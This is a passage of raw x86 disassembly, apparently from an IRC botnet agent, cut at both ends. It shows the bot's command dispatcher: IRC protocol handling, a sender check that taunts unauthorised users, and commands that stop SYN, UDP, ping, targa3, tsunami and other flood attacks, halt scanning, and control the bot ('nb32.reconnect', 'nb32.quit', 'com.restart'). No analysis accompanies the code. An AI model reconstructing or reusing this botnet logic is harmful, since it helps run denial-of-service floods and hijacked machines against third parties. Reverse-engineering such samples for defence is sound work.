push eax push [ebp+arg_1C] call sub_410090 jmp short loc_409BFD ; --------------------------------------------------------------------------- loc_409BC7: ; CODE XREF: sub_40997B+223j push esi push offset a433 ; "433" call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_409C07 push ebx push dword_41FBF8 push [ebp+arg_10] push [ebp+arg_4] call sub_40E17A add esp, 10h push [ebp+arg_10] push offset aNickS ; "NICK %s\r\n" push [ebp+arg_4] call sub_408486 loc_409BFD: ; CODE XREF: sub_40997B+24Aj add esp, 0Ch loc_409C00: ; CODE XREF: sub_40997B+1DFj ; sub_40997B+239j ... mov eax, edi jmp loc_409D27 ; --------------------------------------------------------------------------- loc_409C07: ; CODE XREF: sub_40997B+25Bj mov esi, [ebp+arg_18] mov [ebp+var_18], 3 mov edi, 80h loc_409C16: ; CODE XREF: sub_40997B+2BDj lea eax, [ebp+var_7AC] push eax push esi call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_409C33 mov [ebp+var_A8], 1 loc_409C33: ; CODE XREF: sub_40997B+2ACj add esi, edi dec [ebp+var_18] jnz short loc_409C16 mov esi, [ebp+var_94] push esi push offset aKick ; "KICK" call sub_40FB80 pop ecx test eax, eax pop ecx jnz loc_409D2C mov esi, [ebp+arg_18] mov [ebp+arg_24], 3 loc_409C5F: ; CODE XREF: sub_40997B+374j cmp [esi], bl jz loc_409CEA push 7Fh lea eax, [ebp+var_7AC] push esi push eax call sub_410090 lea eax, [ebp+var_C4] add esp, 0Ch test eax, eax jz short loc_409CEA cmp [ebp+var_8C], ebx jz short loc_409CEA push [ebp+var_8C] lea eax, [ebp+var_C4] push eax call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_409CEA lea eax, [ebp+var_C4] mov [esi], bl push eax lea eax, [ebp+var_578] push offset dword_421D44 push eax call sub_40EE10 add esp, 0Ch lea eax, [ebp+var_578] push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" push [ebp+arg_4] call sub_408486 lea eax, [ebp+var_578] push eax call sub_407A4E add esp, 14h loc_409CEA: ; CODE XREF: sub_40997B+2E6j ; sub_40997B+306j ... add esi, edi dec [ebp+arg_24] jnz loc_409C5F push [ebp+var_8C] push [ebp+arg_10] call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_409D24 push [ebp+arg_C] mov eax, [ebp+arg_20] push [ebp+arg_8] mov [eax], ebx push offset aJoinSS ; "JOIN %s %s\r\n" loc_409D19: ; CODE XREF: sub_40997B+5FAj ; sub_40997B+903j push [ebp+arg_4] loc_409D1C: ; CODE XREF: sub_40997B+2F7Ej call sub_408486 loc_409D21: ; CODE XREF: sub_40997B+3C03j add esp, 10h loc_409D24: ; CODE XREF: sub_40997B+57j ; sub_40997B+E7j ... push 1 loc_409D26: ; CODE XREF: sub_40997B+3F3Aj pop eax loc_409D27: ; CODE XREF: sub_40997B+287j ; sub_40997B+2AD6j ... pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_409D2C: ; CODE XREF: sub_40997B+2D4j push esi push offset aNick ; "NICK" call sub_40FB80 pop ecx test eax, eax pop ecx jnz loc_409E82 mov eax, [ebp+var_90] mov esi, [ebp+arg_18] inc eax mov [ebp+arg_0], 3 mov [ebp+arg_24], eax loc_409D55: ; CODE XREF: sub_40997B+42Cj lea eax, [ebp+var_7AC] push eax push esi call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_409DA2 lea eax, [ebp+var_7AC] push 21h push eax call sub_410AA0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_C], eax jz short loc_409DA2 push [ebp+arg_24] lea edi, [esi+2] mov byte ptr [esi], 3Ah lea eax, [edi-1] push eax call sub_40ED20 push [ebp+arg_C] push edi call sub_40ED30 add esp, 10h mov edi, 80h loc_409DA2: ; CODE XREF: sub_40997B+3EBj ; sub_40997B+402j add esi, edi dec [ebp+arg_0] jnz short loc_409D55 lea eax, [ebp+var_C4] test eax, eax jz loc_409D24 cmp [ebp+arg_24], ebx jz loc_409D24 push [ebp+arg_10] lea eax, [ebp+var_C4] push eax call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_409DEA push 0Fh push [ebp+arg_24] push [ebp+arg_10] call sub_410090 add esp, 0Ch jmp loc_409D24 ; --------------------------------------------------------------------------- loc_409DEA: ; CODE XREF: sub_40997B+458j mov edi, [ebp+arg_18] xor esi, esi loc_409DEF: ; CODE XREF: sub_40997B+495j cmp [edi], bl jz short loc_409E06 lea eax, [ebp+var_7AC] push eax push edi call sub_40FB80 pop ecx test eax, eax pop ecx jz short loc_409E17 loc_409E06: ; CODE XREF: sub_40997B+476j inc esi add edi, 80h cmp esi, 3 jl short loc_409DEF jmp loc_409D24 ; --------------------------------------------------------------------------- loc_409E17: ; CODE XREF: sub_40997B+489j lea eax, [ebp+var_7AC] push 21h push eax call sub_410AA0 pop ecx cmp eax, ebx pop ecx mov [ebp+arg_0], eax jz loc_409D24 push eax call sub_40E730 push [ebp+arg_24] mov edi, eax call sub_40E730 add edi, eax pop ecx cmp edi, 7Eh pop ecx ja loc_409D24 push [ebp+arg_0] shl esi, 7 push [ebp+arg_24] add esi, [ebp+arg_18] push offset aSS_2 ; ":%s%s" push esi call sub_40EE10 push ebx lea eax, [ebp+var_5DC] push ebx push eax push [ebp+arg_8] push [ebp+arg_4] call sub_4084CC add esp, 24h jmp loc_409D24 ; --------------------------------------------------------------------------- loc_409E82: ; CODE XREF: sub_40997B+3C0j push esi push offset aPart ; "PART" call sub_40FB80 pop ecx test eax, eax pop ecx jz short loc_409EA4 push esi push offset aQuit ; "QUIT" call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_409ECB loc_409EA4: ; CODE XREF: sub_40997B+516j mov edi, [ebp+arg_18] xor esi, esi loc_409EA9: ; CODE XREF: sub_40997B+54Ej cmp [edi], bl jz short loc_409EBF push [ebp+var_98] push edi call sub_40FB80 pop ecx test eax, eax pop ecx jz short loc_409F19 loc_409EBF: ; CODE XREF: sub_40997B+530j inc esi add edi, 80h cmp esi, 3 jl short loc_409EA9 loc_409ECB: ; CODE XREF: sub_40997B+527j push [ebp+var_94] push offset dword_421D18 call sub_40FB80 pop ecx test eax, eax pop ecx jnz loc_409F7A push [ebp+var_88] push [ebp+arg_8] call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_409F02 mov eax, [ebp+arg_20] mov dword ptr [eax], 1 loc_409F02: ; CODE XREF: sub_40997B+57Cj push [ebp+var_88] push offset dword_421CEC loc_409F0D: ; CODE XREF: sub_40997B+9E8j ; sub_40997B+3CF3j call sub_407AC2 pop ecx loc_409F13: ; CODE XREF: sub_40997B+3B8Fj pop ecx jmp loc_409D24 ; --------------------------------------------------------------------------- loc_409F19: ; CODE XREF: sub_40997B+542j mov eax, [ebp+arg_18] shl esi, 7 mov [esi+eax], bl lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_578] push offset dword_421CBC push eax call sub_40EE10 lea eax, [ebp+var_578] push eax call sub_407A4E push [ebp+var_94] push offset aPart ; "PART" call sub_40FB80 add esp, 18h test eax, eax jnz loc_409D24 lea eax, [ebp+var_578] push eax mov eax, [ebp+var_98] inc eax push eax push offset aNoticeSS ; "NOTICE %s :%s\r\n" jmp loc_409D19 ; --------------------------------------------------------------------------- loc_409F7A: ; CODE XREF: sub_40997B+564j push [ebp+var_94] mov esi, offset aPrivmsg ; "PRIVMSG" push esi call sub_40FB80 pop ecx mov edi, offset aNotice ; "NOTICE" test eax, eax pop ecx jz short loc_409FCE push [ebp+var_94] push edi call sub_40FB80 pop ecx test eax, eax pop ecx jz short loc_409FCE push [ebp+var_94] push offset a332 ; "332" call sub_40FB80 pop ecx test eax, eax pop ecx jnz loc_40DAA2 cmp dword_41FBE4, ebx jz loc_40DAA2 loc_409FCE: ; CODE XREF: sub_40997B+619j ; sub_40997B+62Bj push [ebp+var_94] push esi call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40A103 push [ebp+var_94] push edi call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40A103 mov eax, [ebp+var_8C] inc [ebp+var_88] push 4 mov [ebp+var_90], eax pop esi mov [ebp+var_AC], esi loc_40A015: ; CODE XREF: sub_40997B+844j ; sub_40997B+8D8j ... shl esi, 2 mov ecx, [ebp+esi+var_98] lea eax, [ebp+esi+var_98] lea edi, [ecx+1] mov [eax], edi mov al, [ecx] cmp al, byte_41FBF2 mov [ebp+var_18], edi jnz loc_409D24 push edi push offset dword_41A248 call sub_40FB80 pop ecx test eax, eax pop ecx jnz loc_40A368 mov esi, [ebp+esi+var_94] cmp esi, ebx mov [ebp+arg_10], esi jz loc_409D24 cmp [ebp+var_A8], ebx jnz loc_409D24 push offset asc_421DC0 ; "!" push [ebp+var_98] call sub_4103EB mov esi, eax push offset dword_424F04 push ebx inc esi call sub_4103EB push offset asc_421CB4 ; "~" push eax call sub_4103EB push [ebp+arg_10] mov edi, eax push offset aCool ; "cool" call sub_40FB80 add esp, 20h test eax, eax jz loc_40A283 lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_408486 add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_408486 add esp, 0Ch push edi push esi push offset unk_421C34 loc_40A0EF: ; CODE XREF: sub_40997B+96Aj lea eax, [ebp+var_578] push eax call sub_40EE10 add esp, 10h jmp loc_40DA33 ; --------------------------------------------------------------------------- loc_40A103: ; CODE XREF: sub_40997B+663j ; sub_40997B+679j push [ebp+var_94] push edi call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_40A11C mov [ebp+var_4], 1 loc_40A11C: ; CODE XREF: sub_40997B+798j cmp [ebp+var_90], ebx jz loc_409D24 push (offset loc_41CB03+1) push [ebp+var_90] call sub_4102A0 pop ecx test eax, eax pop ecx jz short loc_40A143 cmp [ebp+var_4], ebx jz short loc_40A14F loc_40A143: ; CODE XREF: sub_40997B+7C1j lea eax, [ebp+var_C4] mov [ebp+var_90], eax loc_40A14F: ; CODE XREF: sub_40997B+7C6j cmp [ebp+var_8C], ebx jz loc_409D24 inc [ebp+var_8C] jz short loc_40A19B cmp [ebp+arg_10], ebx jz short loc_40A19B lea eax, [ebp+var_62C] push eax call sub_40E730 push eax lea eax, [ebp+var_62C] push [ebp+var_8C] push eax call sub_4105A0 mov esi, eax add esp, 10h neg esi sbb esi, esi add esi, 4 mov [ebp+var_AC], esi jmp short loc_40A1A1 ; --------------------------------------------------------------------------- loc_40A19B: ; CODE XREF: sub_40997B+7E6j ; sub_40997B+7EBj mov esi, [ebp+var_AC] loc_40A1A1: ; CODE XREF: sub_40997B+81Ej mov edi, [ebp+esi*4+var_98] cmp edi, ebx jz loc_409D24 push edi push offset dword_421C28 call sub_40FB80 pop ecx test eax, eax pop ecx jnz loc_40A015 mov ecx, [ebp+var_90] cmp byte ptr [ecx], 23h jz short loc_40A244 mov eax, dword_4BA250 mov eax, off_41FCE4[eax*4] cmp [eax], bl jz short loc_40A244 push eax push ecx push offset dword_421C0C push [ebp+arg_4] call sub_408486 add esp, 10h lea eax, [ebp+var_C4] push eax lea eax, [ebp+var_578] push offset aSHasJustVersio ; "%s has just versioned me." push eax call sub_40EE10 lea eax, [ebp+var_578] push eax call sub_407A4E add esp, 10h cmp [ebp+var_A8], ebx jnz loc_409D24 push ebx lea eax, [ebp+var_578] push 1 push eax push offset dword_4BA164 push [ebp+arg_4] loc_40A237: ; CODE XREF: sub_40997B+3A9Bj call sub_4084CC add esp, 14h jmp loc_409D24 ; --------------------------------------------------------------------------- loc_40A244: ; CODE XREF: sub_40997B+853j ; sub_40997B+863j push edi push offset dword_421BE8 call sub_40FB80 pop ecx test eax, eax pop ecx jnz loc_40A015 mov eax, [ebp+esi*4+var_94] cmp eax, ebx jz loc_40A015 mov ecx, [ebp+var_90] cmp byte ptr [ecx], 23h jz loc_40A015 push eax push ecx push offset dword_421BD0 jmp loc_409D19 ; --------------------------------------------------------------------------- loc_40A283: ; CODE XREF: sub_40997B+731j mov [ebp+arg_24], offset off_41FCE0 loc_40A28A: ; CODE XREF: sub_40997B+92Bj mov eax, [ebp+arg_24] push edi push dword ptr [eax] call sub_40E52F pop ecx test eax, eax pop ecx jnz short loc_40A2EA add [ebp+arg_24], 4 cmp [ebp+arg_24], offset off_41FCE4 jb short loc_40A28A lea eax, [ebp+var_C4] push edi push eax lea eax, [ebp+var_C4] push eax push offset aNoticeSNiceTry ; "NOTICE %s :Nice try, idiot. (%s!%s).\r\n" push [ebp+arg_4] call sub_408486 add esp, 14h lea eax, [ebp+var_C4] push eax push offset aNoticeSYouVeBe ; "NOTICE %s :You've been logged.\r\n" push [ebp+arg_4] call sub_408486 add esp, 0Ch push edi push esi push offset unk_421B9C jmp loc_40A0EF ; --------------------------------------------------------------------------- loc_40A2EA: ; CODE XREF: sub_40997B+91Ej mov edi, [ebp+arg_18] xor esi, esi loc_40A2EF: ; CODE XREF: sub_40997B+99Ej cmp [ebp+arg_10], ebx jz loc_409D24 cmp [edi], bl jnz short loc_40A30F push [ebp+arg_10] push offset aCool ; "cool" call sub_40FB80 pop ecx test eax, eax pop ecx jz short loc_40A320 loc_40A30F: ; CODE XREF: sub_40997B+97Fj inc esi add edi, 80h cmp esi, 3 jl short loc_40A2EF jmp loc_409D24 ; --------------------------------------------------------------------------- loc_40A320: ; CODE XREF: sub_40997B+992j shl esi, 7 add esi, [ebp+arg_18] lea eax, [ebp+var_7AC] push 7Fh push eax push esi call sub_410090 add esp, 0Ch cmp [ebp+var_8], ebx jnz short loc_40A357 push ebx push [ebp+var_4] push offset unk_421B74 push [ebp+var_90] push [ebp+arg_4] call sub_4084CC add esp, 14h loc_40A357: ; CODE XREF: sub_40997B+9C0j lea eax, [ebp+var_C4] push eax push offset dword_421B44 jmp loc_409F0D ; --------------------------------------------------------------------------- loc_40A368: ; CODE XREF: sub_40997B+6D0j cmp [ebp+var_A8], ebx jnz short loc_40A38A push [ebp+var_94] push offset a332 ; "332" call sub_40FB80 pop ecx test eax, eax pop ecx jnz loc_40DAA2 loc_40A38A: ; CODE XREF: sub_40997B+9F3j cmp [ebp+arg_28], ebx jnz loc_40DAA2 cmp dword_41FD90, ebx mov [ebp+arg_8], ebx jle loc_40A53D mov [ebp+arg_20], offset dword_42C558 loc_40A3A9: ; CODE XREF: sub_40997B+A50j push edi push [ebp+arg_20] call sub_40FB80 pop ecx test eax, eax pop ecx jz short loc_40A3D2 inc [ebp+arg_8] mov eax, [ebp+arg_8] add [ebp+arg_20], 0B8h cmp eax, dword_41FD90 jl short loc_40A3A9 jmp loc_40A53D ; --------------------------------------------------------------------------- loc_40A3D2: ; CODE XREF: sub_40997B+A3Bj push offset asc_421DC4 ; " :" push [ebp+arg_0] call sub_4102A0 pop ecx cmp eax, ebx pop ecx jz loc_409D24 mov edi, [ebp+arg_8] mov cl, byte_41FBF2 imul edi, 0B8h mov [eax+2], cl mov cl, byte_41FBF2 mov [eax+3], cl lea ecx, dword_42C570[edi] push 9Fh add eax, 4 push ecx push eax call sub_410090 lea eax, [ebp+esi+var_58] add esp, 0Ch mov [ebp+arg_8], 0Fh mov [ebp+arg_20], eax loc_40A42A: ; CODE XREF: sub_40997B+B57j push [ebp+arg_8] lea eax, [ebp+var_A4] push offset dword_421B3C push eax call sub_40EE10 lea eax, [ebp+var_A4] push eax push [ebp+arg_0] call sub_4102A0 add esp, 14h test eax, eax jz short loc_40A496 mov eax, [ebp+arg_20] cmp [eax], ebx jz short loc_40A496 lea eax, dword_42C558[edi] push eax call sub_40E730 add [ebp+var_C], eax pop ecx jz short loc_40A4C8 mov eax, [ebp+arg_20] push dword ptr [eax-4] push [ebp+var_C] call sub_4102A0 pop ecx cmp eax, ebx pop ecx jz short loc_40A4C8 push eax lea eax, [ebp+var_A4] push eax push [ebp+arg_0] call sub_4048B2 add esp, 0Ch jmp short loc_40A4C8 ; --------------------------------------------------------------------------- loc_40A496: ; CODE XREF: sub_40997B+AD7j ; sub_40997B+ADEj mov eax, [ebp+arg_20] cmp [eax], ebx jnz short loc_40A4C8 lea eax, [ebp+var_A4] push 2 push eax lea eax, [ebp+var_14] push eax call sub_410090 lea eax, [ebp+var_14] mov [ebp+var_12], bl push eax lea eax, [ebp+var_A4] push eax push [ebp+arg_0] call sub_4048B2 add esp, 18h loc_40A4C8: ; CODE XREF: sub_40997B+AF0j ; sub_40997B+B04j ... dec [ebp+arg_8] sub [ebp+arg_20], 4 cmp [ebp+arg_8], ebx jg loc_40A42A lea eax, [ebp+esi+var_58] mov [ebp+arg_8], 10h mov edi, eax loc_40A4E5: ; CODE XREF: sub_40997B+BB6j push [ebp+arg_8] lea eax, [ebp+var_A4] push offset dword_421B38 push eax call sub_40EE10 lea eax, [ebp+var_A4] push eax push [ebp+arg_0] call sub_4102A0 add esp, 14h test eax, eax jz short loc_40A528 mov eax, [edi] cmp eax, ebx jz short loc_40A528 push eax lea eax, [ebp+var_A4] push eax push [ebp+arg_0] call sub_4048B2 add esp, 0Ch loc_40A528: ; CODE XREF: sub_40997B+B92j ; sub_40997B+B98j dec [ebp+arg_8] sub edi, 4 cmp [ebp+arg_8], ebx jg short loc_40A4E5 mov [ebp+var_C8], 1 loc_40A53D: ; CODE XREF: sub_40997B+A21j ; sub_40997B+A52j mov eax, [ebp+var_18] mov edi, [ebp+arg_4] mov al, [eax] cmp al, byte_41FBF2 jz short loc_40A559 cmp [ebp+var_C8], ebx jz loc_40A755 loc_40A559: ; CODE XREF: sub_40997B+BD0j push [ebp+arg_10] push offset dword_421B34 push [ebp+arg_0] call sub_4048B2 lea eax, [ebp+var_C4] push eax push offset dword_421B2C push [ebp+arg_0] call sub_4048B2 push [ebp+var_90] push offset dword_421B24 push [ebp+arg_0] call sub_4048B2 push ebx lea eax, [ebp+var_A4] push ebx push eax push edi call sub_40E17A push eax push offset dword_421B18 push [ebp+arg_0] call sub_4048B2 add esp, 40h push [ebp+arg_14] push offset dword_421B10 push [ebp+arg_0] call sub_4048B2 push offset dword_421B08 push [ebp+arg_0] call sub_4102A0 add esp, 14h loc_40A5D0: ; CODE XREF: sub_40997B+D49j test eax, eax jz loc_40A6C9 push offset dword_421B08 push [ebp+arg_0] call sub_4102A0 mov [ebp+arg_4], eax add eax, 5 push 4 push eax lea eax, [ebp+var_A4] push eax call sub_410090 lea eax, [ebp+var_A4] push offset dword_421B04 push eax call sub_4103EB add esp, 1Ch cmp [ebp+var_A4], 30h jl short loc_40A620 cmp [ebp+var_A4], 39h jle short loc_40A636 loc_40A620: ; CODE XREF: sub_40997B+C9Aj push 3 lea eax, [ebp+var_A4] push offset dword_421B00 push eax call sub_410090 add esp, 0Ch loc_40A636: ; CODE XREF: sub_40997B+CA3j lea eax, [ebp+var_A4] push eax call sub_40FB66 test eax, eax pop ecx jle short loc_40A659 lea eax, [ebp+var_A4] push eax call sub_40FB66 pop ecx mov [ebp+var_14], al jmp short loc_40A66A ; --------------------------------------------------------------------------- loc_40A659: ; CODE XREF: sub_40997B+CCAj call sub_410198 push 60h cdq pop ecx idiv ecx add dl, 20h mov [ebp+var_14], dl loc_40A66A: ; CODE XREF: sub_40997B+CDCj lea eax, [ebp+var_A4] mov [ebp+var_13], bl push eax call sub_40E730 mov [ebp+arg_8], eax push 0Ch lea eax, [ebp+var_A4] push ebx push eax call sub_40E800 mov eax, [ebp+arg_8] add eax, 6 push eax lea eax, [ebp+var_A4] push [ebp+arg_4] push eax call sub_410090 lea eax, [ebp+var_14] push eax lea eax, [ebp+var_A4] push eax push [ebp+arg_0] call sub_4048B2 push offset dword_421B08 push [ebp+arg_0] call sub_4102A0 add esp, 30h jmp loc_40A5D0 ; --------------------------------------------------------------------------- loc_40A6C9: ; CODE XREF: sub_40997B+C57j push 1FFh lea eax, [ebp+var_C50] push [ebp+arg_0] push eax call sub_410090 lea eax, [ebp+var_C50] push 1FFh push eax lea eax, [ebp+var_E50] push eax call sub_410090 lea eax, [ebp+var_E50] push offset dword_41F770 push eax call sub_4103EB mov [ebp+var_98], eax lea eax, [ebp+var_94] add esp, 20h mov [ebp+arg_4], eax mov [ebp+arg_10], 1Fh loc_40A71F: ; CODE XREF: sub_40997B+DBDj push offset dword_41F770 push ebx call sub_4103EB pop ecx pop ecx mov ecx, [ebp+arg_4] add [ebp+arg_4], 4 dec [ebp+arg_10] mov [ecx], eax jnz short loc_40A71F mov ecx, [ebp+esi+var_98] lea eax, [ebp+esi+var_98] cmp ecx, ebx jz loc_409D24 add ecx, 3 mov [eax], ecx loc_40A755: ; CODE XREF: sub_40997B+BD8j mov eax, [ebp+esi+var_98] push eax push offset dword_421AF0 mov [ebp+arg_4], eax call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40DA5D push [ebp+arg_4] push offset dword_421AEC call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40DA5D push [ebp+arg_4] push offset dword_421AE0 call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40DA3B push [ebp+arg_4] push offset dword_421AD8 call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40DA3B push [ebp+arg_4] push offset dword_421ACC call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D943 push [ebp+arg_4] push offset dword_421AC8 call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D943 push [ebp+arg_4] push offset dword_421AB8 call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D925 push [ebp+arg_4] push offset dword_421AB4 call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D925 push [ebp+arg_4] push offset dword_421AAC call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_40A855 push [ebp+esi+var_94] push 22h push offset dword_421AA0 push offset dword_421A8C loc_40A83B: ; CODE XREF: sub_40997B+F00j ; sub_40997B+F28j ... push [ebp+var_8] push [ebp+var_4] push [ebp+var_90] push edi call sub_40E464 add esp, 20h jmp loc_409D24 ; --------------------------------------------------------------------------- loc_40A855: ; CODE XREF: sub_40997B+EABj push [ebp+arg_4] push offset dword_421A80 call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_40A87D push [ebp+esi+var_94] push 0Ah push offset dword_421A74 push offset dword_421A5C jmp short loc_40A83B ; --------------------------------------------------------------------------- loc_40A87D: ; CODE XREF: sub_40997B+EEBj push [ebp+arg_4] push offset aSynstop ; "synstop" call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_40A8A5 push [ebp+esi+var_94] push 0Bh push offset dword_421A48 push offset dword_421A34 jmp short loc_40A83B ; --------------------------------------------------------------------------- loc_40A8A5: ; CODE XREF: sub_40997B+F13j push [ebp+arg_4] push offset aSkysynstop ; "skysynstop" call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_40A8D0 push [ebp+esi+var_94] push 11h push offset dword_421A18 push offset dword_421A04 jmp loc_40A83B ; --------------------------------------------------------------------------- loc_40A8D0: ; CODE XREF: sub_40997B+F3Bj push [ebp+arg_4] push offset aTarga3stop ; "targa3stop" call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_40A8FB push [ebp+esi+var_94] push 12h push offset dword_4219E8 push offset dword_4219D4 jmp loc_40A83B ; --------------------------------------------------------------------------- loc_40A8FB: ; CODE XREF: sub_40997B+F66j push [ebp+arg_4] push offset aWonkstop ; "wonkstop" call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_40A926 push [ebp+esi+var_94] push 13h push offset dword_4219BC push offset dword_4219A8 jmp loc_40A83B ; --------------------------------------------------------------------------- loc_40A926: ; CODE XREF: sub_40997B+F91j push [ebp+arg_4] push offset aPacketstop ; "packetstop" call sub_40FB80 pop ecx test eax, eax pop ecx jnz loc_40AA7B mov esi, [ebp+esi+var_94] push esi push 0Ah push offset dword_421A74 push offset dword_421A5C push 1 push [ebp+var_4] push [ebp+var_90] push edi call sub_40E464 push esi push 0Bh push offset dword_421A48 push offset dword_421A34 push 1 push [ebp+var_4] push [ebp+var_90] push edi call sub_40E464 add esp, 40h push esi push 0Fh push offset dword_421990 push offset dword_421978 push 1 push [ebp+var_4] push [ebp+var_90] push edi call sub_40E464 push esi push 0Eh push offset dword_42196C push offset dword_421954 push 1 push [ebp+var_4] push [ebp+var_90] push edi call sub_40E464 add esp, 40h push esi push 12h push offset dword_4219E8 push offset dword_4219D4 push 1 push [ebp+var_4] push [ebp+var_90] push edi call sub_40E464 push esi push 13h push offset dword_4219BC push offset dword_4219A8 push 1 push [ebp+var_4] push [ebp+var_90] push edi call sub_40E464 add esp, 40h push esi push 10h push offset dword_421944 push offset dword_42192C push 1 push [ebp+var_4] push [ebp+var_90] push edi call sub_40E464 push esi push 14h push offset dword_42191C push offset dword_421908 push 1 push [ebp+var_4] push [ebp+var_90] push edi call sub_40E464 add esp, 40h push esi push 11h push offset dword_421A18 push offset dword_421A04 push 1 push [ebp+var_4] push [ebp+var_90] push edi call sub_40E464 push ebx push [ebp+var_4] push offset unk_4218CC push [ebp+var_90] push edi call sub_4084CC add esp, 34h jmp loc_409D24 ; --------------------------------------------------------------------------- loc_40AA7B: ; CODE XREF: sub_40997B+FBCj push [ebp+arg_4] push offset aTsunamistop ; "tsunamistop" call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_40AAA6 push [ebp+esi+var_94] push 10h push offset dword_421944 push offset dword_42192C jmp loc_40A83B ; --------------------------------------------------------------------------- loc_40AAA6: ; CODE XREF: sub_40997B+1111j push [ebp+arg_4] push offset aWisdomstop ; "wisdomstop" call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_40AAD1 push [ebp+esi+var_94] push 14h push offset dword_42191C push offset dword_421908 jmp loc_40A83B ; --------------------------------------------------------------------------- loc_40AAD1: ; CODE XREF: sub_40997B+113Cj push [ebp+arg_4] push offset aUdpstop ; "udpstop" call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_40AAFC push [ebp+esi+var_94] push 0Fh push offset dword_421990 push offset dword_421898 jmp loc_40A83B ; --------------------------------------------------------------------------- loc_40AAFC: ; CODE XREF: sub_40997B+1167j push [ebp+arg_4] push offset aPingstop ; "pingstop" call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_40AB27 push [ebp+esi+var_94] push 0Eh push offset dword_42196C push offset dword_421954 jmp loc_40A83B ; --------------------------------------------------------------------------- loc_40AB27: ; CODE XREF: sub_40997B+1192j push [ebp+arg_4] push offset aCom_procs_off ; "com.procs.off" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D90D push [ebp+arg_4] push offset aCom_ps_off ; "com.ps.off" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D90D push [ebp+arg_4] push offset aLockdown_stop ; "lockdown.stop" call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_40AB80 push [ebp+esi+var_94] push 1Fh push offset aSecure ; "Secure" push offset dword_421844 jmp loc_40A83B ; --------------------------------------------------------------------------- loc_40AB80: ; CODE XREF: sub_40997B+11EBj push [ebp+arg_4] push offset aScanstop ; "scanstop" call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_40ABAB push [ebp+esi+var_94] push 8 push offset aScan ; "Scan" push offset dword_42181C jmp loc_40A83B ; --------------------------------------------------------------------------- loc_40ABAB: ; CODE XREF: sub_40997B+1216j push [ebp+arg_4] push offset aStats ; "stats" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D8F9 push [ebp+arg_4] push offset aSt ; "st" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D8F9 push [ebp+arg_4] push offset aNb32_reconnect ; "nb32.reconnect" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D8DA push [ebp+arg_4] push offset aNb32_r ; "nb32.r" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D8DA push [ebp+arg_4] push offset aNb32_disconnec ; "nb32.disconnect" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D8BA push [ebp+arg_4] push offset aNb32_d ; "nb32.d" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D8BA push [ebp+arg_4] push offset aNb32_quit ; "nb32.quit" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D876 push [ebp+arg_4] push offset aNb32_q ; "nb32.q" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D876 push [ebp+arg_4] push offset aNb32_status ; "nb32.status" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D839 push [ebp+arg_4] push offset aNb32_s ; "nb32.s" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D839 push [ebp+arg_4] push offset aNb32_id ; "nb32.id" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D82D push [ebp+arg_4] push offset aNb32_i ; "nb32.i" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D82D push [ebp+arg_4] push offset aCom_rebewt ; "com.rebewt" call sub_40FB80 pop ecx test eax, eax pop ecx jnz short loc_40AD11 call sub_404CC0 test eax, eax mov eax, offset unk_421774 jnz short loc_40ACE5 mov eax, offset unk_421744 loc_40ACE5: ; CODE XREF: sub_40997B+1363j push eax lea eax, [ebp+var_578] push eax call sub_40EE10 push ebx lea eax, [ebp+var_578] push [ebp+var_4] push eax push [ebp+var_90] push edi call sub_4084CC add esp, 1Ch jmp loc_40DA33 ; --------------------------------------------------------------------------- loc_40AD11: ; CODE XREF: sub_40997B+1355j push [ebp+arg_4] push offset aCom_restart ; "com.restart" call sub_40FB80 pop ecx test eax, eax pop ecx jz loc_40D77F push [ebp+arg_4] push offset aCom_r ; "com.r" call sub_40FB80 pop ecx test eax, eax 